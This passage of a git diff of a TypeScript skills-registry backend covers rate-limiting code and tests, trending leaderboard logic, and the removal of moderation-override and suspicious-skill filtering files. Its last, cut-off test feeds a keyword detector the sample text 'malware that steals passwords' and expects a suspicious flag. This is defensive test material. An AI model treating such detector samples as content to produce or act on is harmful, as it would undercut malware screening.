process.env.TRUST_FORWARDED_IPS = "true";
expect(getClientIp(request)).toBe("203.0.113.9");
});
});
})
process.env.TRUST_FORWARDED_IPS = 'true'
expect(getClientIp(request)).toBe('203.0.113.9')
})
})
describe("applyRateLimit headers", () => {
describe('applyRateLimit headers', () => {
afterEach(() => {
vi.restoreAllMocks();
});
vi.restoreAllMocks()
})
it("returns delay-seconds Retry-After on 429 (not epoch)", async () => {
vi.spyOn(Date, "now").mockReturnValue(1_000_000);
const runMutation = vi.fn();
it('returns delay-seconds Retry-After on 429 (not epoch)', async () => {
vi.spyOn(Date, 'now').mockReturnValue(1_000_000)
const runMutation = vi.fn()
const ctx = {
runQuery: vi.fn().mockResolvedValue({
allowed: false,
@@ -127,23 +127,23 @@ describe("applyRateLimit headers", () => {
resetAt: 1_030_500,
}),
runMutation,
} as unknown as Parameters<typeof applyRateLimit>[0];
const request = new Request("https://example.com", {
headers: { "cf-connecting-ip": "203.0.113.1" },
});
} as unknown as Parameters<typeof applyRateLimit>[0]
const request = new Request('https://example.com', {
headers: { 'cf-connecting-ip': '203.0.113.1' },
})
const result = await applyRateLimit(ctx, request, "download");
expect(result.ok).toBe(false);
if (result.ok) return;
expect(result.response.status).toBe(429);
expect(result.response.headers.get("Retry-After")).toBe("31");
expect(result.response.headers.get("X-RateLimit-Reset")).toBe("1031");
expect(result.response.headers.get("RateLimit-Reset")).toBe("31");
expect(runMutation).not.toHaveBeenCalled();
});
const result = await applyRateLimit(ctx, request, 'download')
expect(result.ok).toBe(false)
if (result.ok) return
expect(result.response.status).toBe(429)
expect(result.response.headers.get('Retry-After')).toBe('31')
expect(result.response.headers.get('X-RateLimit-Reset')).toBe('1031')
expect(result.response.headers.get('RateLimit-Reset')).toBe('31')
expect(runMutation).not.toHaveBeenCalled()
})
it("includes rate-limit headers without Retry-After when allowed", async () => {
vi.spyOn(Date, "now").mockReturnValue(2_000_000);
it('includes rate-limit headers without Retry-After when allowed', async () => {
vi.spyOn(Date, 'now').mockReturnValue(2_000_000)
const ctx = {
runQuery: vi.fn().mockResolvedValue({
allowed: true,
@@ -155,26 +155,26 @@ describe("applyRateLimit headers", () => {
allowed: true,
remaining: 18,
}),
} as unknown as Parameters<typeof applyRateLimit>[0];
const request = new Request("https://example.com", {
headers: { "cf-connecting-ip": "203.0.113.1" },
});
} as unknown as Parameters<typeof applyRateLimit>[0]
const request = new Request('https://example.com', {
headers: { 'cf-connecting-ip': '203.0.113.1' },
})
const result = await applyRateLimit(ctx, request, "download");
expect(result.ok).toBe(true);
if (!result.ok) return;
const headers = new Headers(result.headers);
expect(headers.get("X-RateLimit-Limit")).toBe("20");
expect(headers.get("X-RateLimit-Remaining")).toBe("18");
expect(headers.get("X-RateLimit-Reset")).toBe("2015");
expect(headers.get("RateLimit-Limit")).toBe("20");
expect(headers.get("RateLimit-Remaining")).toBe("18");
expect(headers.get("RateLimit-Reset")).toBe("15");
expect(headers.get("Retry-After")).toBeNull();
});
const result = await applyRateLimit(ctx, request, 'download')
expect(result.ok).toBe(true)
if (!result.ok) return
const headers = new Headers(result.headers)
expect(headers.get('X-RateLimit-Limit')).toBe('20')
expect(headers.get('X-RateLimit-Remaining')).toBe('18')
expect(headers.get('X-RateLimit-Reset')).toBe('2015')
expect(headers.get('RateLimit-Limit')).toBe('20')
expect(headers.get('RateLimit-Remaining')).toBe('18')
expect(headers.get('RateLimit-Reset')).toBe('15')
expect(headers.get('Retry-After')).toBeNull()
})
it("allows authenticated users when user bucket is healthy and shared ip bucket is exhausted", async () => {
vi.spyOn(Date, "now").mockReturnValue(3_000_000);
it('allows authenticated users when user bucket is healthy and shared ip bucket is exhausted', async () => {
vi.spyOn(Date, 'now').mockReturnValue(3_000_000)
const ctx = makeRateLimitCtx({
ip: {
allowed: false,
@@ -188,25 +188,25 @@ describe("applyRateLimit headers", () => {
limit: 120,
resetAt: 3_010_000,
},
});
const request = new Request("https://example.com", {
})
const request = new Request('https://example.com', {
headers: {
authorization: "Bearer clh_token",
"cf-connecting-ip": "203.0.113.1",
authorization: 'Bearer clh_token',
'cf-connecting-ip': '203.0.113.1',
},
});
})
const result = await applyRateLimit(ctx, request, "download");
expect(result.ok).toBe(true);
if (!result.ok) return;
const headers = new Headers(result.headers);
expect(headers.get("X-RateLimit-Limit")).toBe("120");
expect(headers.get("X-RateLimit-Remaining")).toBe("42");
expect(headers.get("Retry-After")).toBeNull();
});
const result = await applyRateLimit(ctx, request, 'download')
expect(result.ok).toBe(true)
if (!result.ok) return
const headers = new Headers(result.headers)
expect(headers.get('X-RateLimit-Limit')).toBe('120')
expect(headers.get('X-RateLimit-Remaining')).toBe('42')
expect(headers.get('Retry-After')).toBeNull()
})
it("does not consume ip bucket for authenticated requests", async () => {
vi.spyOn(Date, "now").mockReturnValue(3_100_000);
it('does not consume ip bucket for authenticated requests', async () => {
vi.spyOn(Date, 'now').mockReturnValue(3_100_000)
const ctx = makeRateLimitCtx({
ip: {
allowed: true,
@@ -220,24 +220,24 @@ describe("applyRateLimit headers", () => {
limit: 120,
resetAt: 3_110_000,
},
});
const request = new Request("https://example.com", {
})
const request = new Request('https://example.com', {
headers: {
authorization: "Bearer clh_token",
"cf-connecting-ip": "203.0.113.1",
authorization: 'Bearer clh_token',
'cf-connecting-ip': '203.0.113.1',
},
});
})
const result = await applyRateLimit(ctx, request, "download");
expect(result.ok).toBe(true);
const runMutation = (ctx as unknown as { runMutation: ReturnType<typeof vi.fn> }).runMutation;
const consumedKeys = runMutation.mock.calls.map(([, args]) => String(args.key));
expect(consumedKeys.some((key) => key.startsWith("user:"))).toBe(true);
expect(consumedKeys.some((key) => key.startsWith("ip:"))).toBe(false);
});
const result = await applyRateLimit(ctx, request, 'download')
expect(result.ok).toBe(true)
const runMutation = (ctx as unknown as { runMutation: ReturnType<typeof vi.fn> }).runMutation
const consumedKeys = runMutation.mock.calls.map(([, args]) => String(args.key))
expect(consumedKeys.some((key) => key.startsWith('user:'))).toBe(true)
expect(consumedKeys.some((key) => key.startsWith('ip:'))).toBe(false)
})
it("denies authenticated users when user bucket is exhausted even if ip bucket is healthy", async () => {
vi.spyOn(Date, "now").mockReturnValue(4_000_000);
it('denies authenticated users when user bucket is exhausted even if ip bucket is healthy', async () => {
vi.spyOn(Date, 'now').mockReturnValue(4_000_000)
const ctx = makeRateLimitCtx({
ip: {
allowed: true,
@@ -251,25 +251,25 @@ describe("applyRateLimit headers", () => {
limit: 120,
resetAt: 4_030_000,
},
});
const request = new Request("https://example.com", {
})
const request = new Request('https://example.com', {
headers: {
authorization: "Bearer clh_token",
"cf-connecting-ip": "203.0.113.1",
authorization: 'Bearer clh_token',
'cf-connecting-ip': '203.0.113.1',
},
});
})
const result = await applyRateLimit(ctx, request, "download");
expect(result.ok).toBe(false);
if (result.ok) return;
expect(result.response.status).toBe(429);
expect(result.response.headers.get("X-RateLimit-Limit")).toBe("120");
expect(result.response.headers.get("X-RateLimit-Remaining")).toBe("0");
expect(result.response.headers.get("Retry-After")).toBe("30");
});
const result = await applyRateLimit(ctx, request, 'download')
expect(result.ok).toBe(false)
if (result.ok) return
expect(result.response.status).toBe(429)
expect(result.response.headers.get('X-RateLimit-Limit')).toBe('120')
expect(result.response.headers.get('X-RateLimit-Remaining')).toBe('0')
expect(result.response.headers.get('Retry-After')).toBe('30')
})
it("falls back to ip enforcement when bearer token is invalid", async () => {
vi.spyOn(Date, "now").mockReturnValue(5_000_000);
it('falls back to ip enforcement when bearer token is invalid', async () => {
vi.spyOn(Date, 'now').mockReturnValue(5_000_000)
const ctx = makeRateLimitCtx({
tokenValid: false,
ip: {
@@ -278,19 +278,19 @@ describe("applyRateLimit headers", () => {
limit: 20,
resetAt: 5_030_000,
},
});
const request = new Request("https://example.com", {
})
const request = new Request('https://example.com', {
headers: {
authorization: "Bearer invalid",
"cf-connecting-ip": "203.0.113.1",
authorization: 'Bearer invalid',
'cf-connecting-ip': '203.0.113.1',
},
});
})
const result = await applyRateLimit(ctx, request, "download");
expect(result.ok).toBe(false);
if (result.ok) return;
expect(result.response.status).toBe(429);
expect(result.response.headers.get("X-RateLimit-Limit")).toBe("20");
expect(result.response.headers.get("Retry-After")).toBe("30");
});
});
const result = await applyRateLimit(ctx, request, 'download')
expect(result.ok).toBe(false)
if (result.ok) return
expect(result.response.status).toBe(429)
expect(result.response.headers.get('X-RateLimit-Limit')).toBe('20')
expect(result.response.headers.get('Retry-After')).toBe('30')
})
})
+86 -86
View File
@@ -1,117 +1,117 @@
import { internal } from "../_generated/api";
import type { ActionCtx } from "../_generated/server";
import { getOptionalApiTokenUserId } from "./apiTokenAuth";
import { corsHeaders, mergeHeaders } from "./httpHeaders";
import { internal } from '../_generated/api'
import type { ActionCtx } from '../_generated/server'
import { getOptionalApiTokenUserId } from './apiTokenAuth'
import { corsHeaders, mergeHeaders } from './httpHeaders'
const RATE_LIMIT_WINDOW_MS = 60_000;
const RATE_LIMIT_WINDOW_MS = 60_000
export const RATE_LIMITS = {
read: { ip: 180, key: 900 },
write: { ip: 45, key: 180 },
download: { ip: 30, key: 180 },
} as const;
read: { ip: 120, key: 600 },
write: { ip: 30, key: 120 },
download: { ip: 20, key: 120 },
} as const
type RateLimitResult = {
allowed: boolean;
remaining: number;
limit: number;
resetAt: number;
};
allowed: boolean
remaining: number
limit: number
resetAt: number
}
export async function applyRateLimit(
ctx: ActionCtx,
request: Request,
kind: keyof typeof RATE_LIMITS,
): Promise<{ ok: true; headers: HeadersInit } | { ok: false; response: Response }> {
const userId = await getOptionalApiTokenUserId(ctx, request);
const ip = getClientIp(request) ?? "unknown";
const ipSource = getClientIpSource(request);
const hasClientIp = ip !== "unknown";
const userId = await getOptionalApiTokenUserId(ctx, request)
const ip = getClientIp(request) ?? 'unknown'
const ipSource = getClientIpSource(request)
const hasClientIp = ip !== 'unknown'
// Authenticated requests are enforced and consumed by user bucket only to
// avoid draining shared IP quota.
if (userId) {
const userResult = await checkRateLimit(ctx, `user:${userId}`, RATE_LIMITS[kind].key);
const headers = rateHeaders(userResult);
const userResult = await checkRateLimit(ctx, `user:${userId}`, RATE_LIMITS[kind].key)
const headers = rateHeaders(userResult)
if (!userResult.allowed) {
console.info("rate_limit_denied", {
console.info('rate_limit_denied', {
kind,
auth: true,
userAllowed: false,
ipAllowed: null,
ipSource,
hasClientIp,
});
})
return {
ok: false,
response: new Response("Rate limit exceeded", {
response: new Response('Rate limit exceeded', {
status: 429,
headers: mergeHeaders(
{
"Content-Type": "text/plain; charset=utf-8",
"Cache-Control": "no-store",
'Content-Type': 'text/plain; charset=utf-8',
'Cache-Control': 'no-store',
},
headers,
corsHeaders(),
),
}),
};
}
}
return { ok: true, headers };
return { ok: true, headers }
}
// Anonymous requests remain IP-enforced.
const ipResult = await checkRateLimit(ctx, `ip:${ip}`, RATE_LIMITS[kind].ip);
const headers = rateHeaders(ipResult);
const ipResult = await checkRateLimit(ctx, `ip:${ip}`, RATE_LIMITS[kind].ip)
const headers = rateHeaders(ipResult)
if (!ipResult.allowed) {
console.info("rate_limit_denied", {
console.info('rate_limit_denied', {
kind,
auth: false,
userAllowed: null,
ipAllowed: ipResult.allowed,
ipSource,
hasClientIp,
});
})
return {
ok: false,
response: new Response("Rate limit exceeded", {
response: new Response('Rate limit exceeded', {
status: 429,
headers: mergeHeaders(
{
"Content-Type": "text/plain; charset=utf-8",
"Cache-Control": "no-store",
'Content-Type': 'text/plain; charset=utf-8',
'Cache-Control': 'no-store',
},
headers,
corsHeaders(),
),
}),
};
}
}
return { ok: true, headers };
return { ok: true, headers }
}
export function getClientIp(request: Request) {
const cfHeader = request.headers.get("cf-connecting-ip");
if (cfHeader) return splitFirstIp(cfHeader);
const cfHeader = request.headers.get('cf-connecting-ip')
if (cfHeader) return splitFirstIp(cfHeader)
if (!shouldTrustForwardedIps()) return null;
if (!shouldTrustForwardedIps()) return null
const forwarded =
request.headers.get("x-forwarded-for") ??
request.headers.get("x-real-ip") ??
request.headers.get("fly-client-ip");
request.headers.get('x-forwarded-for') ??
request.headers.get('x-real-ip') ??
request.headers.get('fly-client-ip')
return splitFirstIp(forwarded);
return splitFirstIp(forwarded)
}
function getClientIpSource(request: Request) {
if (request.headers.get("cf-connecting-ip")) return "cf-connecting-ip";
if (!shouldTrustForwardedIps()) return "none";
if (request.headers.get("x-forwarded-for")) return "x-forwarded-for";
if (request.headers.get("x-real-ip")) return "x-real-ip";
if (request.headers.get("fly-client-ip")) return "fly-client-ip";
return "none";
if (request.headers.get('cf-connecting-ip')) return 'cf-connecting-ip'
if (!shouldTrustForwardedIps()) return 'none'
if (request.headers.get('x-forwarded-for')) return 'x-forwarded-for'
if (request.headers.get('x-real-ip')) return 'x-real-ip'
if (request.headers.get('fly-client-ip')) return 'fly-client-ip'
return 'none'
}
async function checkRateLimit(
@@ -124,20 +124,20 @@ async function checkRateLimit(
key,
limit,
windowMs: RATE_LIMIT_WINDOW_MS,
})) as RateLimitResult;
})) as RateLimitResult
if (!status.allowed) {
return status;
return status
}
// Step 2: Consume with a mutation only when still allowed.
let result: { allowed: boolean; remaining: number };
let result: { allowed: boolean; remaining: number }
try {
result = (await ctx.runMutation(internal.rateLimits.consumeRateLimitInternal, {
key,
limit,
windowMs: RATE_LIMIT_WINDOW_MS,
})) as { allowed: boolean; remaining: number };
})) as { allowed: boolean; remaining: number }
} catch (error) {
if (isRateLimitWriteConflict(error)) {
return {
@@ -145,9 +145,9 @@ async function checkRateLimit(
remaining: 0,
limit: status.limit,
resetAt: status.resetAt,
};
}
}
throw error;
throw error
}
return {
@@ -155,55 +155,55 @@ async function checkRateLimit(
remaining: result.remaining,
limit: status.limit,
resetAt: status.resetAt,
};
}
}
function rateHeaders(result: RateLimitResult): HeadersInit {
const nowMs = Date.now();
const resetSeconds = Math.ceil(result.resetAt / 1000);
const resetDelaySeconds = Math.max(1, Math.ceil((result.resetAt - nowMs) / 1000));
const nowMs = Date.now()
const resetSeconds = Math.ceil(result.resetAt / 1000)
const resetDelaySeconds = Math.max(1, Math.ceil((result.resetAt - nowMs) / 1000))
return {
"X-RateLimit-Limit": String(result.limit),
"X-RateLimit-Remaining": String(result.remaining),
"X-RateLimit-Reset": String(resetSeconds),
"RateLimit-Limit": String(result.limit),
"RateLimit-Remaining": String(result.remaining),
"RateLimit-Reset": String(resetDelaySeconds),
...(result.allowed ? {} : { "Retry-After": String(resetDelaySeconds) }),
};
'X-RateLimit-Limit': String(result.limit),
'X-RateLimit-Remaining': String(result.remaining),
'X-RateLimit-Reset': String(resetSeconds),
'RateLimit-Limit': String(result.limit),
'RateLimit-Remaining': String(result.remaining),
'RateLimit-Reset': String(resetDelaySeconds),
...(result.allowed ? {} : { 'Retry-After': String(resetDelaySeconds) }),
}
}
export function parseBearerToken(request: Request) {
const header = request.headers.get("authorization") ?? request.headers.get("Authorization");
if (!header) return null;
const trimmed = header.trim();
if (!trimmed.toLowerCase().startsWith("bearer ")) return null;
const token = trimmed.slice(7).trim();
return token || null;
const header = request.headers.get('authorization') ?? request.headers.get('Authorization')
if (!header) return null
const trimmed = header.trim()
if (!trimmed.toLowerCase().startsWith('bearer ')) return null
const token = trimmed.slice(7).trim()
return token || null
}
function splitFirstIp(header: string | null) {
if (!header) return null;
if (header.includes(",")) return header.split(",")[0]?.trim() || null;
const trimmed = header.trim();
return trimmed || null;
if (!header) return null
if (header.includes(',')) return header.split(',')[0]?.trim() || null
const trimmed = header.trim()
return trimmed || null
}
function shouldTrustForwardedIps() {
const value = String(process.env.TRUST_FORWARDED_IPS ?? "")
const value = String(process.env.TRUST_FORWARDED_IPS ?? '')
.trim()
.toLowerCase();
.toLowerCase()
// Hardening default: CF-only. Forwarded headers are trivial to spoof unless you
// control the trusted proxy layer.
if (!value) return false;
if (value === "1" || value === "true" || value === "yes") return true;
return false;
if (!value) return false
if (value === '1' || value === 'true' || value === 'yes') return true
return false
}
function isRateLimitWriteConflict(error: unknown) {
if (!(error instanceof Error)) return false;
if (!(error instanceof Error)) return false
return (
error.message.includes("rateLimits") &&
error.message.includes("changed while this mutation was being run")
);
error.message.includes('rateLimits') &&
error.message.includes('changed while this mutation was being run')
)
}
-35
View File
@@ -1,35 +0,0 @@
import { describe, expect, it } from "vitest";
import {
parseBooleanQueryParam,
parseBooleanQueryParamOptional,
resolveBooleanQueryParam,
} from "./httpUtils";
describe("parseBooleanQueryParam", () => {
it("returns true for true-like values", () => {
expect(parseBooleanQueryParam("true")).toBe(true);
expect(parseBooleanQueryParam("1")).toBe(true);
expect(parseBooleanQueryParam(" TRUE ")).toBe(true);
});
it("returns false for missing and false-like values", () => {
expect(parseBooleanQueryParam(null)).toBe(false);
expect(parseBooleanQueryParam("")).toBe(false);
expect(parseBooleanQueryParam("false")).toBe(false);
expect(parseBooleanQueryParam("0")).toBe(false);
expect(parseBooleanQueryParam("yes")).toBe(false);
});
it("supports optional parsing for precedence-sensitive callers", () => {
expect(parseBooleanQueryParamOptional(null)).toBeUndefined();
expect(parseBooleanQueryParamOptional("false")).toBe(false);
expect(parseBooleanQueryParamOptional("1")).toBe(true);
});
it("prefers the primary param over the legacy alias when both are present", () => {
expect(resolveBooleanQueryParam("false", "1")).toBe(false);
expect(resolveBooleanQueryParam("true", "0")).toBe(true);
expect(resolveBooleanQueryParam(null, "1")).toBe(true);
expect(resolveBooleanQueryParam(null, null)).toBeUndefined();
});
});
-16
View File
@@ -1,16 +0,0 @@
export function parseBooleanQueryParam(value: string | null) {
if (!value) return false;
const normalized = value.trim().toLowerCase();
return normalized === "true" || normalized === "1";
}
export function parseBooleanQueryParamOptional(value: string | null) {
if (value == null) return undefined;
return parseBooleanQueryParam(value);
}
export function resolveBooleanQueryParam(primaryValue: string | null, legacyValue: string | null) {
return (
parseBooleanQueryParamOptional(primaryValue) ?? parseBooleanQueryParamOptional(legacyValue)
);
}
-42
View File
@@ -1,42 +0,0 @@
import { describe, expect, it, vi } from "vitest";
/* @vitest-environment node */
import type { Id } from "../_generated/dataModel";
import { takeTopNonSuspiciousTrendingEntries, type LeaderboardEntry } from "./leaderboards";
describe("takeTopNonSuspiciousTrendingEntries", () => {
it("keeps scanning past suspicious entries until it finds enough clean skills", async () => {
const skillId = (value: string) => value as Id<"skills">;
const entries: LeaderboardEntry[] = [
{ skillId: skillId("skills:suspicious-1"), score: 300, installs: 300, downloads: 10 },
{ skillId: skillId("skills:suspicious-2"), score: 200, installs: 200, downloads: 9 },
{ skillId: skillId("skills:clean"), score: 100, installs: 100, downloads: 8 },
];
const ctx = {
db: {
get: vi.fn(async (id: Id<"skills">) => {
if (id === skillId("skills:clean")) {
return {
_id: id,
softDeletedAt: undefined,
moderationFlags: [],
moderationReason: undefined,
};
}
return {
_id: id,
softDeletedAt: undefined,
moderationFlags: ["flagged.suspicious"],
moderationReason: undefined,
};
}),
},
};
const items = await takeTopNonSuspiciousTrendingEntries(ctx as never, entries, 1);
expect(items).toEqual([
{ skillId: skillId("skills:clean"), score: 100, installs: 100, downloads: 8 },
]);
});
});
+64 -91
View File
@@ -1,51 +1,43 @@
import type { Id } from "../_generated/dataModel";
import type { MutationCtx, QueryCtx } from "../_generated/server";
import { isSkillSuspicious } from "./skillSafety";
import type { Id } from '../_generated/dataModel'
import type { MutationCtx, QueryCtx } from '../_generated/server'
const DAY_MS = 24 * 60 * 60 * 1000;
export const TRENDING_DAYS = 7;
export const TRENDING_LEADERBOARD_KIND = "trending";
export const TRENDING_NON_SUSPICIOUS_LEADERBOARD_KIND = "trending_non_suspicious";
const DAY_MS = 24 * 60 * 60 * 1000
export const TRENDING_DAYS = 7
export type LeaderboardEntry = {
skillId: Id<"skills">;
score: number;
installs: number;
downloads: number;
};
type DailyTrendingRow = {
skillId: Id<"skills">;
installs: number;
downloads: number;
};
type LeaderboardEntry = {
skillId: Id<'skills'>
score: number
installs: number
downloads: number
}
export function toDayKey(timestamp: number) {
return Math.floor(timestamp / DAY_MS);
return Math.floor(timestamp / DAY_MS)
}
export function getTrendingRange(now: number) {
const endDay = toDayKey(now);
const startDay = endDay - (TRENDING_DAYS - 1);
return { startDay, endDay };
const endDay = toDayKey(now)
const startDay = endDay - (TRENDING_DAYS - 1)
return { startDay, endDay }
}
export async function queryDailyStats(ctx: QueryCtx | MutationCtx, day: number) {
return ctx.db
.query("skillDailyStats")
.withIndex("by_day", (q) => q.eq("day", day))
.collect();
}
export async function buildTrendingLeaderboard(
ctx: QueryCtx | MutationCtx,
params: { limit: number; now?: number },
) {
const now = params.now ?? Date.now()
const { startDay, endDay } = getTrendingRange(now)
const rows = await ctx.db
.query('skillDailyStats')
.withIndex('by_day', (q) => q.gte('day', startDay).lte('day', endDay))
.collect()
export function buildTrendingEntriesFromDailyRows(perDayRows: DailyTrendingRow[][]) {
const totals = new Map<Id<"skills">, { installs: number; downloads: number }>();
for (const rows of perDayRows) {
for (const row of rows) {
const current = totals.get(row.skillId) ?? { installs: 0, downloads: 0 };
current.installs += row.installs;
current.downloads += row.downloads;
totals.set(row.skillId, current);
}
const totals = new Map<Id<'skills'>, { installs: number; downloads: number }>()
for (const row of rows) {
const current = totals.get(row.skillId) ?? { installs: 0, downloads: 0 }
current.installs += row.installs
current.downloads += row.downloads
totals.set(row.skillId, current)
}
const entries = Array.from(totals, ([skillId, totalsEntry]) => ({
@@ -53,78 +45,59 @@ export function buildTrendingEntriesFromDailyRows(perDayRows: DailyTrendingRow[]
installs: totalsEntry.installs,
downloads: totalsEntry.downloads,
score: totalsEntry.installs,
}));
}))
entries.sort((a, b) => compareTrendingEntries(b, a));
const items = topN(entries, params.limit, compareTrendingEntries).sort((a, b) =>
compareTrendingEntries(b, a),
)
return entries;
return { startDay, endDay, items }
}
export function takeTopTrendingEntries(entries: LeaderboardEntry[], limit: number) {
return topN(entries, limit, compareTrendingEntries).sort((a, b) => compareTrendingEntries(b, a));
function compareTrendingEntries(a: LeaderboardEntry, b: LeaderboardEntry) {
if (a.score !== b.score) return a.score - b.score
if (a.downloads !== b.downloads) return a.downloads - b.downloads
return 0
}
export async function takeTopNonSuspiciousTrendingEntries(
ctx: QueryCtx | MutationCtx,
entries: LeaderboardEntry[],
limit: number,
) {
const items: LeaderboardEntry[] = [];
function topN<T>(entries: T[], limit: number, compare: (a: T, b: T) => number) {
if (entries.length <= limit) return entries.slice()
for (const entry of entries) {
const skill = await ctx.db.get(entry.skillId);
if (!skill || skill.softDeletedAt || isSkillSuspicious(skill)) continue;
items.push(entry);
if (items.length >= limit) break;
}
return items;
}
export function compareTrendingEntries(a: LeaderboardEntry, b: LeaderboardEntry) {
if (a.score !== b.score) return a.score - b.score;
if (a.downloads !== b.downloads) return a.downloads - b.downloads;
return 0;
}
export function topN<T>(entries: T[], limit: number, compare: (a: T, b: T) => number) {
if (entries.length <= limit) return entries.slice();
const heap: T[] = [];
const heap: T[] = []
for (const entry of entries) {
if (heap.length < limit) {
heap.push(entry);
siftUp(heap, heap.length - 1, compare);
continue;
heap.push(entry)
siftUp(heap, heap.length - 1, compare)
continue
}
if (compare(entry, heap[0]) <= 0) continue;
heap[0] = entry;
siftDown(heap, 0, compare);
if (compare(entry, heap[0]) <= 0) continue
heap[0] = entry
siftDown(heap, 0, compare)
}
return heap;
return heap
}
function siftUp<T>(heap: T[], index: number, compare: (a: T, b: T) => number) {
let current = index;
let current = index
while (current > 0) {
const parent = Math.floor((current - 1) / 2);
if (compare(heap[current], heap[parent]) >= 0) break;
[heap[current], heap[parent]] = [heap[parent], heap[current]];
current = parent;
const parent = Math.floor((current - 1) / 2)
if (compare(heap[current], heap[parent]) >= 0) break
;[heap[current], heap[parent]] = [heap[parent], heap[current]]
current = parent
}
}
function siftDown<T>(heap: T[], index: number, compare: (a: T, b: T) => number) {
let current = index;
const length = heap.length;
let current = index
const length = heap.length
while (true) {
const left = current * 2 + 1;
const right = current * 2 + 2;
let smallest = current;
if (left < length && compare(heap[left], heap[smallest]) < 0) smallest = left;
if (right < length && compare(heap[right], heap[smallest]) < 0) smallest = right;
if (smallest === current) break;
[heap[current], heap[smallest]] = [heap[smallest], heap[current]];
current = smallest;
const left = current * 2 + 1
const right = current * 2 + 2
let smallest = current
if (left < length && compare(heap[left], heap[smallest]) < 0) smallest = left
if (right < length && compare(heap[right], heap[smallest]) < 0) smallest = right
if (smallest === current) break
;[heap[current], heap[smallest]] = [heap[smallest], heap[current]]
current = smallest
}
}
-106
View File
@@ -1,106 +0,0 @@
import { describe, expect, it } from "vitest";
import type { Id } from "../_generated/dataModel";
import { applyManualOverrideToSkillPatch, isManualOverrideReason } from "./manualOverrides";
function userId(value: string) {
return value as Id<"users">;
}
describe("manualOverrides", () => {
it("detects manual override reasons", () => {
expect(isManualOverrideReason("manual.override.clean")).toBe(true);
expect(isManualOverrideReason("scanner.vt.suspicious")).toBe(false);
expect(isManualOverrideReason(undefined)).toBe(false);
});
it("applies a clean override as non-suspicious active skill state", () => {
const now = 1_700_000_000_000;
const patch = applyManualOverrideToSkillPatch({
basePatch: {
moderationReasonCodes: ["suspicious.dynamic_code_execution"],
},
override: {
verdict: "clean",
note: "security tool false positive",
reviewerUserId: userId("users:reviewer"),
updatedAt: now,
},
now,
});
expect(patch).toMatchObject({
moderationStatus: "active",
moderationReason: "manual.override.clean",
moderationVerdict: "clean",
moderationFlags: undefined,
moderationSummary: "Manual override (clean): security tool false positive",
moderationEvaluatedAt: now,
isSuspicious: false,
updatedAt: now,
});
expect(patch.moderationReasonCodes).toEqual(["suspicious.dynamic_code_execution"]);
});
it("preserves malicious scanner state over a clean override", () => {
const now = 1_700_000_100_000;
const patch = applyManualOverrideToSkillPatch({
basePatch: {
moderationStatus: "hidden",
moderationReason: "scanner.vt.malicious",
moderationVerdict: "malicious",
moderationFlags: ["blocked.malware"],
moderationSummary: "Detected: malicious.known_blocked_signature",
hiddenAt: now,
hiddenBy: undefined,
lastReviewedAt: now,
updatedAt: now,
},
override: {
verdict: "clean",
note: "earlier false positive review",
reviewerUserId: userId("users:reviewer"),
updatedAt: now,
},
now,
});
expect(patch).toMatchObject({
moderationStatus: "hidden",
moderationReason: "scanner.vt.malicious",
moderationVerdict: "malicious",
moderationFlags: ["blocked.malware"],
hiddenAt: now,
lastReviewedAt: now,
updatedAt: now,
});
});
it("preserves non-scanner hidden locks over a clean override", () => {
const now = 1_700_000_200_000;
const patch = applyManualOverrideToSkillPatch({
basePatch: {
moderationStatus: "hidden",
moderationReason: "quality.low",
moderationVerdict: "clean",
moderationFlags: undefined,
moderationSummary: "Auto-quarantined by quality gate.",
updatedAt: now,
},
override: {
verdict: "clean",
note: "older suspicious finding was reviewed",
reviewerUserId: userId("users:reviewer"),
updatedAt: now,
},
now,
});
expect(patch).toMatchObject({
moderationStatus: "hidden",
moderationReason: "quality.low",
moderationVerdict: "clean",
moderationSummary: "Auto-quarantined by quality gate.",
updatedAt: now,
});
});
});
-96
View File
@@ -1,96 +0,0 @@
import type { Doc, Id } from "../_generated/dataModel";
import { type ModerationVerdict, legacyFlagsFromVerdict } from "./moderationReasonCodes";
import { computeIsSuspicious } from "./skillSafety";
export type ManualOverrideVerdict = Extract<ModerationVerdict, "clean">;
export type ManualModerationOverride = {
verdict: ManualOverrideVerdict;
note: string;
reviewerUserId: Id<"users">;
updatedAt: number;
};
type SkillModerationPatch = Partial<
Pick<
Doc<"skills">,
| "moderationStatus"
| "moderationReason"
| "moderationFlags"
| "moderationVerdict"
| "moderationReasonCodes"
| "moderationEvidence"
| "moderationSummary"
| "moderationEngineVersion"
| "moderationEvaluatedAt"
| "moderationSourceVersionId"
| "isSuspicious"
| "hiddenAt"
| "hiddenBy"
| "lastReviewedAt"
| "updatedAt"
>
>;
export function isManualOverrideReason(reason: string | undefined) {
return typeof reason === "string" && reason.startsWith("manual.override.");
}
export function buildManualOverrideReason(verdict: ManualOverrideVerdict) {
return `manual.override.${verdict}`;
}
export function formatManualOverrideSummary(override: ManualModerationOverride) {
return `Manual override (${override.verdict}): ${override.note}`;
}
function isScannerManagedReason(reason: string | undefined) {
if (!reason) return false;
return (
reason === "pending.scan" || reason === "pending.scan.stale" || reason.startsWith("scanner.")
);
}
function shouldPreserveExistingLock(basePatch: SkillModerationPatch | undefined) {
if (!basePatch) return false;
if (
basePatch.moderationVerdict === "malicious" ||
basePatch.moderationFlags?.includes("blocked.malware")
) {
return true;
}
if (basePatch.moderationStatus !== "hidden") return false;
if (isManualOverrideReason(basePatch.moderationReason)) return false;
return !isScannerManagedReason(basePatch.moderationReason);
}
export function applyManualOverrideToSkillPatch(params: {
basePatch?: SkillModerationPatch;
override: ManualModerationOverride;
now: number;
}): SkillModerationPatch {
if (params.basePatch && shouldPreserveExistingLock(params.basePatch)) {
return params.basePatch;
}
const moderationFlags = legacyFlagsFromVerdict(params.override.verdict);
const moderationReason = buildManualOverrideReason(params.override.verdict);
return {
...params.basePatch,
moderationStatus: "active",
moderationFlags,
moderationReason,
moderationVerdict: params.override.verdict,
moderationSummary: formatManualOverrideSummary(params.override),
moderationEvaluatedAt: params.override.updatedAt,
hiddenAt: undefined,
hiddenBy: undefined,
lastReviewedAt: params.override.updatedAt,
isSuspicious: computeIsSuspicious({
moderationFlags,
moderationReason,
}),
updatedAt: params.now,
};
}
-253
View File
@@ -1,253 +0,0 @@
import { describe, expect, test } from "vitest";
import type { Id } from "../_generated/dataModel";
import { deriveModerationFlags } from "./moderation";
const mockStorageId = "abc" as Id<"_storage">;
describe("deriveModerationFlags", () => {
test("flags malicious keywords", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "This is malware that steals passwords",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.keyword");
});
test("flags phishing keywords", () => {
const flags = deriveModerationFlags({
skill: {
